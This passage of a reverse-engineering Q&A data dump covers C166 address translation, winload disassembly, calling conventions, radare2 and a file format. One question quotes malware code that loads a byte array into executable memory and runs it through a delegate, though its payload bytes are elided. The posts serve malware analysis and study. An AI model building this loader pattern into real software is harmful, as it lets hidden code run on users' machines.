follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;r5 = r4 &amp;gt;&amp;gt; 13 &amp;amp; ~1&#xA;r5 = *(0xFE00 + r5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;bmov&lt;/code&gt; instruction sets one bit of a register to equal a bit in another register. You can think of it like &lt;code&gt;mov&lt;/code&gt;, except it works on single bits instead of entire registers at once. These two lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bmov r4.14, r5.0&#xA;bmov r4.15, r5.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;mean to take bit 0 (the least significant) in r5, and copy it to bit 14 in r4. Then take bit 1 in r5, and copy it to bit 15 (the most significant) in r4. In simpler terms, it sets the two most significant bits of r4 to equal the two least significant bits of r5. Adding that line, as well as the rest of the function, to our pseudocode:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;r5 = r4 &amp;gt;&amp;gt; 13 &amp;amp; ~1;&#xA;r5 = *(0xFE00 + r5);&#xA;r4 = r4 &amp;amp; 0x3FFF | r5 &amp;lt;&amp;lt; 14&#xA;r5 &amp;gt;&amp;gt;= 2;  // shr r5, #2 - Shift R5 2 bits to the right&#xA;return;    // rets - Return from a segmented function (that is, a function called using the 'calls' instruction.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The address 0xFE00, as indicated by the comment in the disassembly, refers to a location known as 'DPP0'. This is a 16-bit register which stores the current &amp;quot;data page pointer&amp;quot;, which control the mapping of 16-bit addresses to a 24-bit physical address space. Importantly, it is followed sequentially by three more 16-bit registers, &lt;code&gt;DPP1&lt;/code&gt;-&lt;code&gt;3&lt;/code&gt;. So we can think of this like an array which is being indexed, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;volatile uint16_t dpp[4];  // actually located at 0xFE00&#xA;r5 = dpp[r5];              // equivalent to:&#xA;                           //  r5 &amp;lt;&amp;lt;= 1;&#xA;                           //  r5 = *(0xFE00 + r5);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;According to the comments(below of this post) I (@Unicornux) converted this piece of code to this :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;uint32_t get_Value(uint16_t _arg)&#xA;{&#xA;    uint32_t Value = 0;&#xA;    volatile uint16_t dpp[4] = {0x302,0x403,0x706,0xA08};&#xA;    uint16_t temp = _arg &amp;gt;&amp;gt; 14;&#xA;    temp = dpp[temp];&#xA;    _arg = (_arg &amp;amp; 0x3FFF) | (temp &amp;lt;&amp;lt; 14);&#xA;    temp &amp;gt;&amp;gt;= 2;&#xA;    Value = (temp &amp;lt;&amp;lt; 16) | (_arg &amp;amp; 0xFFFF);&#xA;    return Value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Explanation of the function's purpose:&lt;/strong&gt; The function accepts a 16-bit address in r4, and determines what 24-bit physical address it represents, using the current values of the DPP registers. It returns this address as a 32-bit number, with the upper word in r5 and the lower word in r4.&lt;/p&gt;&#xA;" OwnerUserId="24241" LastEditorUserId="24241" LastEditDate="2020-09-23T22:51:08.543" LastActivityDate="2020-09-23T22:51:08.543" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="25833" PostTypeId="2" ParentId="25744" CreationDate="2020-09-07T22:32:27.577" Score="1" Body="&lt;p&gt;This is not a bug in radare2.&#xA;The comment that you see in red is merely the imported function prototype. In both cases seen in the picture, the parameter to &lt;code&gt;puts&lt;/code&gt; is pushed through &lt;code&gt;eax&lt;/code&gt; whereas it is loaded from a memory location based on &lt;code&gt;ebx&lt;/code&gt;. radare2 does not emulate the code [unless told], so it cannot display the actual string being pointed.&lt;/p&gt;&#xA;" OwnerUserId="26722" LastActivityDate="2020-09-07T22:32:27.577" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25834" PostTypeId="2" ParentId="25827" CreationDate="2020-09-08T03:33:40.890" Score="1" Body="&lt;p&gt;The entry function you mentioned is the function where the entry point of the program is located. This entry function contains the first instructions of the program executed when you run the program.&lt;/p&gt;&#xA;&lt;p&gt;The main function recognized by disassemblers is the the function where the main function of the program which code is compiled directly from the the developer's main function code.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2020-09-08T03:33:40.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25836" PostTypeId="1" AcceptedAnswerId="25844" CreationDate="2020-09-08T10:30:50.363" Score="0" ViewCount="251" Body="&lt;p&gt;The disassembly of the function Winload!CmpFindNlsData whose prototype I'm trying to construct&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00893c10 8bff            mov     edi,edi&#xA;00893c12 55              push    ebp&#xA;00893c13 8bec            mov     ebp,esp&#xA;00893c15 83ec40          sub     esp,40h&#xA;00893c18 53              push    ebx&#xA;00893c19 56              push    esi&#xA;00893c1a 57              push    edi&#xA;00893c1b 8d45e0          lea     eax,[ebp-20h]&#xA;00893c1e 8bf1            mov     esi,ecx&#xA;00893c20 50              push    eax&#xA;00893c21 33db            xor     ebx,ebx&#xA;00893c23 8975ec          mov     dword ptr [ebp-14h],esi&#xA;00893c26 83cfff          or      edi,0FFFFFFFFh&#xA;00893c29 895dcc          mov     dword ptr [ebp-34h],ebx&#xA;00893c2c 52              push    edx&#xA;00893c2d 56              push    esi&#xA;00893c2e 897dc8          mov     dword ptr [ebp-38h],edi&#xA;00893c31 897dd0          mov     dword ptr [ebp-30h],edi&#xA;00893c34 895dd4          mov     dword ptr [ebp-2Ch],ebx&#xA;00893c37 897de0          mov     dword ptr [ebp-20h],edi&#xA;00893c3a 895de4          mov     dword ptr [ebp-1Ch],ebx&#xA;00893c3d 897dc0          mov     dword ptr [ebp-40h],edi&#xA;00893c40 895dc4          mov     dword ptr [ebp-3Ch],ebx&#xA;00893c43 895de8          mov     dword ptr [ebp-18h],ebx&#xA;00893c46 ff5604          call    dword ptr [esi+4]&#xA;00893c49 85c0            test    eax,eax&#xA;00893c4b 0f845d010000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893c51 8d4df4          lea     ecx,[ebp-0Ch]&#xA;00893c54 8bd0            mov     edx,eax&#xA;00893c56 51              push    ecx&#xA;00893c57 68b8208e00      push    offset winload!CmpControlString (008e20b8)&#xA;00893c5c 8bce            mov     ecx,esi&#xA;00893c5e e869510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)&#xA;00893c63 8d45e0          lea     eax,[ebp-20h]&#xA;00893c66 50              push    eax&#xA;00893c67 56              push    esi&#xA;00893c68 ff5608          call    dword ptr [esi+8]&#xA;00893c6b 397df4          cmp     dword ptr [ebp-0Ch],edi&#xA;00893c6e 0f843a010000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893c74 8d45e0          lea     eax,[ebp-20h]&#xA;00893c77 50              push    eax&#xA;00893c78 ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893c7b 56              push    esi&#xA;00893c7c ff5604          call    dword ptr [esi+4]&#xA;00893c7f 85c0            test    eax,eax&#xA;00893c81 0f8427010000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893c87 8d4df4          lea     ecx,[ebp-0Ch]&#xA;00893c8a 8bd0            mov     edx,eax&#xA;00893c8c 51              push    ecx&#xA;00893c8d 68f8208e00      push    offset winload!CmpNlsString (008e20f8)&#xA;00893c92 8bce            mov     ecx,esi&#xA;00893c94 e833510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)&#xA;00893c99 8d45e0          lea     eax,[ebp-20h]&#xA;00893c9c 50              push    eax&#xA;00893c9d 56              push    esi&#xA;00893c9e ff5608          call    dword ptr [esi+8]&#xA;00893ca1 397df4          cmp     dword ptr [ebp-0Ch],edi&#xA;00893ca4 0f8404010000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893caa 8d45e0          lea     eax,[ebp-20h]&#xA;00893cad 50              push    eax&#xA;00893cae ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893cb1 56              push    esi&#xA;00893cb2 ff5604          call    dword ptr [esi+4]&#xA;00893cb5 85c0            test    eax,eax&#xA;00893cb7 0f84f1000000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893cbd 8d4df4          lea     ecx,[ebp-0Ch]&#xA;00893cc0 8bd0            mov     edx,eax&#xA;00893cc2 51              push    ecx&#xA;00893cc3 6808218e00      push    offset winload!CmpCodePageString (008e2108)&#xA;00893cc8 8bce            mov     ecx,esi&#xA;00893cca e8fd500000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)&#xA;00893ccf 8d45e0          lea     eax,[ebp-20h]&#xA;00893cd2 50              push    eax&#xA;00893cd3 56              push    esi&#xA;00893cd4 ff5608          call    dword ptr [esi+8]&#xA;00893cd7 397df4          cmp     dword ptr [ebp-0Ch],edi&#xA;00893cda 0f84ce000000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893ce0 8d45e0          lea     eax,[ebp-20h]&#xA;00893ce3 50              push    eax&#xA;00893ce4 ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893ce7 56              push    esi&#xA;00893ce8 ff5604          call    dword ptr [esi+4]&#xA;00893ceb 85c0            test    eax,eax&#xA;00893ced 0f84bb000000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893cf3 6870228e00      push    offset winload!CmpAcpString (008e2270)&#xA;00893cf8 8bd0            mov     edx,eax&#xA;00893cfa 8bce            mov     ecx,esi&#xA;00893cfc e885330000      call    winload!CmpFindValueByName (00897086)&#xA;00893d01 8bf8            mov     edi,eax&#xA;00893d03 8d45e0          lea     eax,[ebp-20h]&#xA;00893d06 50              push    eax&#xA;00893d07 56              push    esi&#xA;00893d08 ff5608          call    dword ptr [esi+8]&#xA;00893d0b 83ffff          cmp     edi,0FFFFFFFFh&#xA;00893d0e 0f849a000000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893d14 8d45d0          lea     eax,[ebp-30h]&#xA;00893d17 50              push    eax&#xA;00893d18 57              push    edi&#xA;00893d19 56              push    esi&#xA;00893d1a ff5604          call    dword ptr [esi+4]&#xA;00893d1d 85c0            test    eax,eax&#xA;00893d1f 0f8489000000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893d25 8d4dc8          lea     ecx,[ebp-38h]&#xA;00893d28 8bd7            mov     edx,edi&#xA;00893d2a 51              push    ecx&#xA;00893d2b 8d4df8          lea     ecx,[ebp-8]&#xA;00893d2e 51              push    ecx&#xA;00893d2f 50              push    eax&#xA;00893d30 8bce            mov     ecx,esi&#xA;00893d32 e8c7340000      call    winload!CmpValueToData (008971fe)&#xA;00893d37 8bf8            mov     edi,eax&#xA;00893d39 8d45d0          lea     eax,[ebp-30h]&#xA;00893d3c 50              push    eax&#xA;00893d3d 56              push    esi&#xA;00893d3e 897ddc          mov     dword ptr [ebp-24h],edi&#xA;00893d41 ff5608          call    dword ptr [esi+8]&#xA;00893d44 85ff            test    edi,edi&#xA;00893d46 7466            je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893d48 8b55f8          mov     edx,dword ptr [ebp-8]&#xA;00893d4b 33c9            xor     ecx,ecx&#xA;00893d4d 33c0            xor     eax,eax&#xA;00893d4f 668955da        mov     word ptr [ebp-26h],dx&#xA;00893d53 66894dd8        mov     word ptr [ebp-28h],cx&#xA;00893d57 c745f002000000  mov     dword ptr [ebp-10h],2&#xA;00893d5e 663bc2          cmp     ax,dx&#xA;00893d61 731d            jae     winload!CmpFindNLSData+0x170 (00893d80)&#xA;00893d63 8b75f0          mov     esi,dword ptr [ebp-10h]&#xA;00893d66 0fb7c1          movzx   eax,cx&#xA;00893d69 d1e8            shr     eax,1&#xA;00893d6b 66391c47        cmp     word ptr [edi+eax*2],bx&#xA;00893d6f 740c            je      winload!CmpFindNLSData+0x16d (00893d7d)&#xA;00893d71 6603ce          add     cx,si&#xA;00893d74 66894dd8        mov     word ptr [ebp-28h],cx&#xA;00893d78 663bca          cmp     cx,dx&#xA;00893d7b 72e9            jb      winload!CmpFindNLSData+0x156 (00893d66)&#xA;00893d7d 8b75ec          mov     esi,dword ptr [ebp-14h]&#xA;00893d80 8b5d08          mov     ebx,dword ptr [ebp+8]&#xA;00893d83 6a36            push    36h&#xA;00893d85 58              pop     eax&#xA;00893d86 663907          cmp     word ptr [edi],ax&#xA;00893d89 750c            jne     winload!CmpFindNLSData+0x187 (00893d97)&#xA;00893d8b c745e801000000  mov     dword ptr [ebp-18h],1&#xA;00893d92 e992000000      jmp     winload!CmpFindNLSData+0x219 (00893e29)&#xA;00893d97 8d45e0          lea     eax,[ebp-20h]&#xA;00893d9a 50              push    eax&#xA;00893d9b ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893d9e 56              push    esi&#xA;00893d9f ff5604          call    dword ptr [esi+4]&#xA;00893da2 85c0            test    eax,eax&#xA;00893da4 7513            jne     winload!CmpFindNLSData+0x1a9 (00893db9)&#xA;00893da6 8d45c8          lea     eax,[ebp-38h]&#xA;00893da9 50              push    eax&#xA;00893daa 56              push    esi&#xA;00893dab ff5608          call    dword ptr [esi+8]&#xA;00893dae 32c0            xor     al,al&#xA;00893db0 5f              pop     edi&#xA;00893db1 5e              pop     esi&#xA;00893db2 5b              pop     ebx&#xA;00893db3 8be5            mov     esp,ebp&#xA;00893db5 5d              pop     ebp&#xA;00893db6 c20c00          ret     0Ch&#xA;00893db9 8d4dd8          lea     ecx,[ebp-28h]&#xA;00893dbc 8bd0            mov     edx,eax&#xA;00893dbe 51              push    ecx&#xA;00893dbf 8bce            mov     ecx,esi&#xA;00893dc1 e8c0320000      call    winload!CmpFindValueByName (00897086)&#xA;00893dc6 8bf8            mov     edi,eax&#xA;00893dc8 8d45c8          lea     eax,[ebp-38h]&#xA;00893dcb 50              push    eax&#xA;00893dcc 56              push    esi&#xA;00893dcd ff5608          call    dword ptr [esi+8]&#xA;00893dd0 33c0            xor     eax,eax&#xA;00893dd2 8945dc          mov     dword ptr [ebp-24h],eax&#xA;00893dd5 8d45e0          lea     eax,[ebp-20h]&#xA;00893dd8 50              push    eax&#xA;00893dd9 56              push    esi&#xA;00893dda ff5608          call    dword ptr [esi+8]&#xA;00893ddd 83ffff          cmp     edi,0FFFFFFFFh&#xA;00893de0 74cc            je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893de2 8d45d0          lea     eax,[ebp-30h]&#xA;00893de5 50              push    eax&#xA;00893de6 57              push    edi&#xA;00893de7 56              push    esi&#xA;00893de8 ff5604          call    dword ptr [esi+4]&#xA;00893deb 85c0            test    eax,eax&#xA;00893ded 74bf            je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893def 8d4dc0          lea     ecx,[ebp-40h]&#xA;00893df2 8bd7            mov     edx,edi&#xA;00893df4 51              push    ecx&#xA;00893df5 8d4df8          lea     ecx,[ebp-8]&#xA;00893df8 51              push    ecx&#xA;00893df9 50              push    eax&#xA;00893dfa 8bce            mov     ecx,esi&#xA;00893dfc e8fd330000      call    winload!CmpValueToData (008971fe)&#xA;00893e01 894304          mov     dword ptr [ebx+4],eax&#xA;00893e04 85c0            test    eax,eax&#xA;00893e06 7408            je      winload!CmpFindNLSData+0x200 (00893e10)&#xA;00893e08 8d45c0          lea     eax,[ebp-40h]&#xA;00893e0b 50              push    eax&#xA;00893e0c 56              push    esi&#xA;00893e0d ff5608          call    dword ptr [esi+8]&#xA;00893e10 8d45d0          lea     eax,[ebp-30h]&#xA;00893e13 50              push    eax&#xA;00893e14 56              push    esi&#xA;00893e15 ff5608          call    dword ptr [esi+8]&#xA;00893e18 33c0            xor     eax,eax&#xA;00893e1a 394304          cmp     dword ptr [ebx+4],eax&#xA;00893e1d 748f            je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893e1f 8b45f8          mov     eax,dword ptr [ebp-8]&#xA;00893e22 66894302        mov     word ptr [ebx+2],ax&#xA;00893e26 668903          mov     word ptr [ebx],ax&#xA;00893e29 8d45e0          lea     eax,[ebp-20h]&#xA;00893e2c 50              push    eax&#xA;00893e2d ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893e30 56              push    esi&#xA;00893e31 ff5604          call    dword ptr [esi+4]&#xA;00893e34 85c0            test    eax,eax&#xA;00893e36 0f8472ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893e3c 6848228e00      push    offset winload!CmpOemCpString (008e2248)&#xA;00893e41 8bd0            mov     edx,eax&#xA;00893e43 8bce            mov     ecx,esi&#xA;00893e45 e83c320000      call    winload!CmpFindValueByName (00897086)&#xA;00893e4a 8bf8            mov     edi,eax&#xA;00893e4c 8d45e0          lea     eax,[ebp-20h]&#xA;00893e4f 50              push    eax&#xA;00893e50 56              push    esi&#xA;00893e51 ff5608          call    dword ptr [esi+8]&#xA;00893e54 83ffff          cmp     edi,0FFFFFFFFh&#xA;00893e57 0f8451ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893e5d 8d45d0          lea     eax,[ebp-30h]&#xA;00893e60 50              push    eax&#xA;00893e61 57              push    edi&#xA;00893e62 56              push    esi&#xA;00893e63 ff5604          call    dword ptr [esi+4]&#xA;00893e66 85c0            test    eax,eax&#xA;00893e68 0f8440ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893e6e 8d4dc8          lea     ecx,[ebp-38h]&#xA;00893e71 8bd7            mov     edx,edi&#xA;00893e73 51              push    ecx&#xA;00893e74 8d4df8          lea     ecx,[ebp-8]&#xA;00893e77 51              push    ecx&#xA;00893e78 50              push    eax&#xA;00893e79 8bce            mov     ecx,esi&#xA;00893e7b e87e330000      call    winload!CmpValueToData (008971fe)&#xA;00893e80 8bf8            mov     edi,eax&#xA;00893e82 8d45d0          lea     eax,[ebp-30h]&#xA;00893e85 50              push    eax&#xA;00893e86 56              push    esi&#xA;00893e87 897ddc          mov     dword ptr [ebp-24h],edi&#xA;00893e8a ff5608          call    dword ptr [esi+8]&#xA;00893e8d 85ff            test    edi,edi&#xA;00893e8f 0f8419ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893e95 8b55f8          mov     edx,dword ptr [ebp-8]&#xA;00893e98 33c9            xor     ecx,ecx&#xA;00893e9a 33c0            xor     eax,eax&#xA;00893e9c 668955da        mov     word ptr [ebp-26h],dx&#xA;00893ea0 66894dd8        mov     word ptr [ebp-28h],cx&#xA;00893ea4 663bc2          cmp     ax,dx&#xA;00893ea7 7322            jae     winload!CmpFindNLSData+0x2bb (00893ecb)&#xA;00893ea9 8b75f0          mov     esi,dword ptr [ebp-10h]&#xA;00893eac 33db            xor     ebx,ebx&#xA;00893eae 0fb7c1          movzx   eax,cx&#xA;00893eb1 d1e8            shr     eax,1&#xA;00893eb3 66391c47        cmp     word ptr [edi+eax*2],bx&#xA;00893eb7 740c            je      winload!CmpFindNLSData+0x2b5 (00893ec5)&#xA;00893eb9 6603ce          add     cx,si&#xA;00893ebc 66894dd8        mov     word ptr [ebp-28h],cx&#xA;00893ec0 663bca          cmp     cx,dx&#xA;00893ec3 72e9            jb      winload!CmpFindNLSData+0x29e (00893eae)&#xA;00893ec5 8b75ec          mov     esi,dword ptr [ebp-14h]&#xA;00893ec8 8b5d08          mov     ebx,dword ptr [ebp+8]&#xA;00893ecb 6a36            push    36h&#xA;00893ecd 58              pop     eax&#xA;00893ece 663907          cmp     word ptr [edi],ax&#xA;00893ed1 8b7d0c          mov     edi,dword ptr [ebp+0Ch]&#xA;00893ed4 0f8496000000    je      winload!CmpFindNLSData+0x360 (00893f70)&#xA;00893eda 8d45e0          lea     eax,[ebp-20h]&#xA;00893edd 50              push    eax&#xA;00893ede ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893ee1 56              push    esi&#xA;00893ee2 ff5604          call    dword ptr [esi+4]&#xA;00893ee5 85c0            test    eax,eax&#xA;00893ee7 0f84b9feffff    je      winload!CmpFindNLSData+0x196 (00893da6)&#xA;00893eed 8d4dd8          lea     ecx,[ebp-28h]&#xA;00893ef0 8bd0            mov     edx,eax&#xA;00893ef2 51              push    ecx&#xA;00893ef3 8bce            mov     ecx,esi&#xA;00893ef5 e88c310000      call    winload!CmpFindValueByName (00897086)&#xA;00893efa 894508          mov     dword ptr [ebp+8],eax&#xA;00893efd 8d45c8          lea     eax,[ebp-38h]&#xA;00893f00 50              push    eax&#xA;00893f01 56              push    esi&#xA;00893f02 ff5608          call    dword ptr [esi+8]&#xA;00893f05 8d45e0          lea     eax,[ebp-20h]&#xA;00893f08 50              push    eax&#xA;00893f09 56              push    esi&#xA;00893f0a ff5608          call    dword ptr [esi+8]&#xA;00893f0d 8b4508          mov     eax,dword ptr [ebp+8]&#xA;00893f10 83f8ff          cmp     eax,0FFFFFFFFh&#xA;00893f13 0f8495feffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893f19 8d4dd0          lea     ecx,[ebp-30h]&#xA;00893f1c 51              push    ecx&#xA;00893f1d 50              push    eax&#xA;00893f1e 56              push    esi&#xA;00893f1f ff5604          call    dword ptr [esi+4]&#xA;00893f22 85c0            test    eax,eax&#xA;00893f24 0f8484feffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893f2a 8b5508          mov     edx,dword ptr [ebp+8]&#xA;00893f2d 8d4dc0          lea     ecx,[ebp-40h]&#xA;00893f30 51              push    ecx&#xA;00893f31 8d4df8          lea     ecx,[ebp-8]&#xA;00893f34 51              push    ecx&#xA;00893f35 50              push    eax&#xA;00893f36 8bce            mov     ecx,esi&#xA;00893f38 e8c1320000      call    winload!CmpValueToData (008971fe)&#xA;00893f3d 894704          mov     dword ptr [edi+4],eax&#xA;00893f40 85c0            test    eax,eax&#xA;00893f42 7408            je      winload!CmpFindNLSData+0x33c (00893f4c)&#xA;00893f44 8d45c0          lea     eax,[ebp-40h]&#xA;00893f47 50              push    eax&#xA;00893f48 56              push    esi&#xA;00893f49 ff5608          call    dword ptr [esi+8]&#xA;00893f4c 8d45d0          lea     eax,[ebp-30h]&#xA;00893f4f 50              push    eax&#xA;00893f50 56              push    esi&#xA;00893f51 ff5608          call    dword ptr [esi+8]&#xA;00893f54 33c9            xor     ecx,ecx&#xA;00893f56 394f04          cmp     dword ptr [edi+4],ecx&#xA;00893f59 0f844ffeffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893f5f 8b45f8          mov     eax,dword ptr [ebp-8]&#xA;00893f62 66894702        mov     word ptr [edi+2],ax&#xA;00893f66 668907          mov     word ptr [edi],ax&#xA;00893f69 394de8          cmp     dword ptr [ebp-18h],ecx&#xA;00893f6c 7412            je      winload!CmpFindNLSData+0x370 (00893f80)&#xA;00893f6e eb02            jmp     winload!CmpFindNLSData+0x362 (00893f72)&#xA;00893f70 33c9            xor     ecx,ecx&#xA;00893f72 33c0            xor     eax,eax&#xA;00893f74 894b04          mov     dword ptr [ebx+4],ecx&#xA;00893f77 668903          mov     word ptr [ebx],ax&#xA;00893f7a 894f04          mov     dword ptr [edi+4],ecx&#xA;00893f7d 668907          mov     word ptr [edi],ax&#xA;00893f80 8b4d10          mov     ecx,dword ptr [ebp+10h]&#xA;00893f83 b001            mov     al,1&#xA;00893f85 6a14            push    14h&#xA;00893f87 5a              pop     edx&#xA;00893f88 c741044c1a8e00  mov     dword ptr [ecx+4],offset winload!`string' (008e1a4c)&#xA;00893f8f 66895102        mov     word ptr [ecx+2],dx&#xA;00893f93 668911          mov     word ptr [ecx],dx&#xA;00893f96 e915feffff      jmp     winload!CmpFindNLSData+0x1a0 (00893db0)&#xA;00893f9b cc              int     3```&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34219" LastActivityDate="2020-09-09T18:31:31.400" Title="How to find if a function is using registers as parameters?" Tags="|disassembly|assembly|register|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25837" PostTypeId="2" ParentId="25836" CreationDate="2020-09-08T13:14:38.990" Score="1" Body="&lt;p&gt;Typically, a register's value being used in a function prior to being initializing it is a hint that it may be a parameter.&lt;/p&gt;&#xA;&lt;p&gt;Here we see &lt;code&gt;ecx&lt;/code&gt; being used for the first time in this function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00893c1e 8bf1            mov     esi,ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There are a few different standard calling conventions that pass parameters in the &lt;code&gt;ecx&lt;/code&gt; register such as &lt;code&gt;fastcall&lt;/code&gt;. C++ compilers also can use &lt;code&gt;thiscall&lt;/code&gt; calling convention, which passes the &lt;code&gt;this&lt;/code&gt; pointer of an object to the function via the &lt;code&gt;ecx&lt;/code&gt; register. Later on we see this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00893cfa 8bce            mov     ecx,esi&#xA;00893cfc e885330000      call    winload!CmpFindValueByName (00897086)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Placing the same value back in &lt;code&gt;ecx&lt;/code&gt; and calling another function. It is highly likely that &lt;code&gt;ecx&lt;/code&gt; is being used to pass parameters in these functions.&lt;/p&gt;&#xA;" OwnerUserId="21876" LastActivityDate="2020-09-08T13:14:38.990" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25838" PostTypeId="2" ParentId="25836" CreationDate="2020-09-08T16:45:36.947" Score="0" Body="&lt;p&gt;To determine if a function is using some registers as parameters: You could find the call references of the function, then see prior to the function call if those registers' values are copied from other operands and then later in the function, those values are used.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2020-09-08T16:45:36.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25839" PostTypeId="1" CreationDate="2020-09-08T17:40:02.803" Score="2" ViewCount="792" Body="&lt;p&gt;I'm trying to reverse engeneer a malware using dnSpy that at some point do this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;delegate IntPtr H7IREAEBYY(string path, IntPtr data);&#xA;byte[] array = new byte[]&#xA;        { 233, 151, ... }&#xA;&#xA;IntPtr value = IntPtr.Zero;&#xA;IntPtr intPtr = W47PO0IHP8.VirtualAlloc(IntPtr.Zero, (uint)array.Length, 12288U, 64U);&#xA;Marshal.Copy(array, 0, intPtr, array.Length);&#xA;        W47PO0IHP8.H7IREAEBYY h7IREAEBYY = (W47PO0IHP8.H7IREAEBYY)Marshal.GetDelegateForFunctionPointer(intPtr, typeof(W47PO0IHP8.H7IREAEBYY));&#xA;h7IREAEBYY(path, intPtr2);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When the delegate is executed the debugger step over the delegate and i can't analyze such code, how can i analyze or disassemble the code in the array that is executed through a delegate?&lt;/p&gt;&#xA;" OwnerUserId="34349" OwnerDisplayName="n0t0r1us" LastActivityDate="2021-06-07T18:01:25.163" Title="Disassemble and debug dynamic generated code executed via delegate in c#" Tags="|malware|.net|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25842" PostTypeId="2" ParentId="25831" CreationDate="2020-09-09T13:14:45.430" Score="1" Body="&lt;p&gt;You are looking at 64bit code disassembled as 32bit code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dec eax&#xA;sub esp, 28h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;is the byte pattern &lt;code&gt;48 83 ec 28&lt;/code&gt;, which is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sub rsp, 28h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As a rule of thumb, if you see a lot of &lt;code&gt;dec eax&lt;/code&gt; out of place, you're wrongly disassembling 64bit as 32bit code.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2020-09-09T13:14:45.430" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25843" PostTypeId="2" ParentId="22422" CreationDate="2020-09-09T18:30:55.290" Score="1" Body="&lt;p&gt;I actually made some headway here on various files of this type, I've written a decompressor also for the LZ blocks.&lt;/p&gt;&#xA;&lt;p&gt;I think &lt;code&gt;hsin&lt;/code&gt; stands for 'header section in' and &lt;code&gt;DSIN&lt;/code&gt; stands for 'data section in'. There's also &lt;code&gt;4kin&lt;/code&gt;, not sure what that is.&lt;/p&gt;&#xA;&lt;p&gt;There are a few cases in certain files where an incorrect dictionary jump will be used - for example, offset 1, length 5. Could be my own error but the above algorithm seems to not account for this case.&lt;/p&gt;&#xA;&lt;p&gt;I'm analysing the section blocks and they are a bit wacky. I've found length descriptors that seem to be completely ignored, amongst other things. So much of the file can be zeroed out no problems, with no noticeable effect (I think it's used for NIs indexer / library stuff).&lt;/p&gt;&#xA;&lt;p&gt;Blocks are not actually fixed length, just look like they are (perhaps the first header is fixed length). There are length fields scattered throughout, but not for the first two blocks - they have 'bytes remaining' where the block length should be. If I zero out these fields, the file just reads without error. Weird.&lt;/p&gt;&#xA;&lt;p&gt;Would you guys be interested in collaborating on a repository and sharing our findings?&lt;/p&gt;&#xA;" OwnerUserId="34360" LastEditorUserId="34360" LastEditDate="2020-09-09T21:06:41.397" LastActivityDate="2020-09-09T21:06:41.397" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
